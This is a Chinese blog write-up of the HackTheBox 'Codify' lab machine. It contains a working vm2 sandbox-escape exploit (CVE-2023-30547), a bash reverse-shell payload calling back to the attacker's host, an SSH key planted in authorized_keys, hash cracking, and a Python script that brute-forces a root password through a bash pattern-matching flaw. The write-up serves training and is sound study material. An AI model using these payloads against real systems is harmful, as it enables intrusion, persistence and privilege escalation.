【渗透测试】Codify - HackTheBox,Node.js沙盒

在这里插入图片描述

靶场信息

  • OS:Linux
  • 难度:easy

Enum2GetMsg

写入hosts

echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts

使用Nmap扫描开发端口信息

PORT     STATE SERVICE VERSION                                                          
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)           | ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)                             
80/tcp   open  http    Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Codify
3000/tcp open  http    Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Codify
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

初始立足点

浏览codify.htb,有三个Web页面

  • About Us - 此页面解释了 Codify 是一个 Node.js 沙盒环境,使用 vm2 库安全地执行不受信任的代码。
  • Editor - 一个带有文本区域的简单页面,用于输入 Node.js 代码并执行它。
  • Limitations - 注释限制,例如阻止访问某些模块(例如 child_process 和 fs)。
    VM2的话这里直接拿最新的CVE去打CVE-2023-30547
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('id');
}
`
console.log(vm.run(code));

在这里插入图片描述

方法一(反弹shell)

写入Shell文件W.sh来反弹shell

#! /bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.14.52/2333 0>&1'

wget获取后chmod赋可执行,拿到立足点

方法二(ssh公钥免密登录)

使用ssh-keygen生成一个id_rsa、id_rsa.pub
构造这个OS命令向目标机器写入id_rsa.pub

'ls -al ~/;mkdir ~/.ssh;echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxtAMshGdWeqB9WHylfTUUGksOhANWSAOHBQLDTVVjZIxx3yO7xBBrZcG03iImnJ7/Fa2jFNCtES5m+NUdQ8eChxtkMfzgGyTpcg7iEo9KvIT3zTND5mILQyxUffiyBhXI0WXiRX8Y29QnFq0+GA2N/6XBI56NnRsTASoZfqNQRnISftsfpQnnqX6/YJH7biPhAr4/ePJx7zPJTDitEX8zeH87jb1zaZ1bTVXQbmpZ37qF1NQ+/MebS74t4anEsevYW3qJObZyJsvIX+aILSptA9HMFintYgeg0wiII4hdBSEH7mvB9KHfQ1dtMfpBNL6rUJ2BRhjB3Nq84oh3p5IDWjVkZGQ2PH33e2HogF0KEDMWXhvFOa1ZlxOHkL8nlIG3XB8A8yfFe5doLrv38EhZzsLKxQurRjdG6NwzZXjeQSGV0tFey8uEEgc3FwglfThBmZRNaUOYvYmprFBzmVqO1nHMaOPq2UUd/5KwaIdrgIGeWR7ilTkIwwisAmvrokOCC4lErtA7WO0bECHc8ZiAGlIS+X9XiXJm47FiUlcalXCQYPC3Mnt6aFBq+KhfYbmcn+ZA6X0H28VTDrxQqZVUjku4t06DwCMY+oHeRo9305e9Dkx+tkXTYYeTAbL5G1UoedZ7co9MgXNKix2rjB0LoYZp/pEIxJwjAavAPfxwpQ==" > ~/.ssh/authorized_keys'

使用生成的id_rsa私钥ssh登录svc用户,拿到立足点

Enum Linux

  • 上传linpeas.sh进行自动化枚举
    在这里插入图片描述

root files有两个路径,/var/www是有权限的

svc@codify:/var/www/contact$ ls
ls
index.js
package.json
package-lock.json
templates
tickets.db

发现一个sqlite文件,strings看一下内容

svc@codify:/var/www/contact$ strings tickets.db
strings tickets.db
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
        tableusersusers
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
    ))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open

看到了joshua的hash保存到hash.txt,hashid识别hash类型

$ hashid hash.txt 
--File 'hash.txt'--
Analyzing '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt 
--End of file 'hash.txt'--

hashcat -m 3200 破解得到明文spongebob1
ssh登录joshua用户,拿到user.txt

joshua@codify:~$ cat user.txt
fd57d0c3857cd67fd3bfc0f9e9d00351

Enum4Root

sudo -l发现一个root权限的shell脚本

joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

cat下来分析

#!/bin/bash
DB_USER="root"                       
DB_PASS=$(/usr/bin/cat /root/.creds)       
BACKUP_DIR="/var/backups/mysql"
                                                                                                         
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

这里存在一个shell的危险写法

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

脚本的这一部分将用户提供的密码 (USER_PASS) 与实际数据库密码 (DB_PASS) 进行弱比较。这里的漏洞是由于 Bash 中 [[ ]]内部使用了 == ,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含像 * 或 ? 这样的全局字符,它可能会匹配意外的字符串。

这里就可以利用模式匹配写脚本去爆破密码了

import string  
import subprocess  
all = list(string.ascii_letters + string.digits)  
password = ""  
found = False  
  
while not found:  
    for character in all:  
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"  
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout  
  
        if "Password confirmed!" in output:  
            password += character  
            print(password)  
            break  
    else:  
        found = True

# password = kljh12k3jhaskjh12kjh3

su root切换root用户,拿到root.txt

root@codify:~# cat root.txt
91d96da8aafb373bf073e92a3d9a4506

总结

  1. Web直接讲明了是Node.js的VM2沙盒,直接拿现成CVE打就OK了
  2. 立足点有较多的办法,最直接和常用的是反弹shell。我在这里又学习了不太常用的ssh公钥免密登录
  3. 使用hashid识别hash类型,用hashcat爆破joshua的hash,拿到user.txt
  4. shell脚本中比较时""缺失导致模式匹配,用*模式匹配爆破出root密码
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值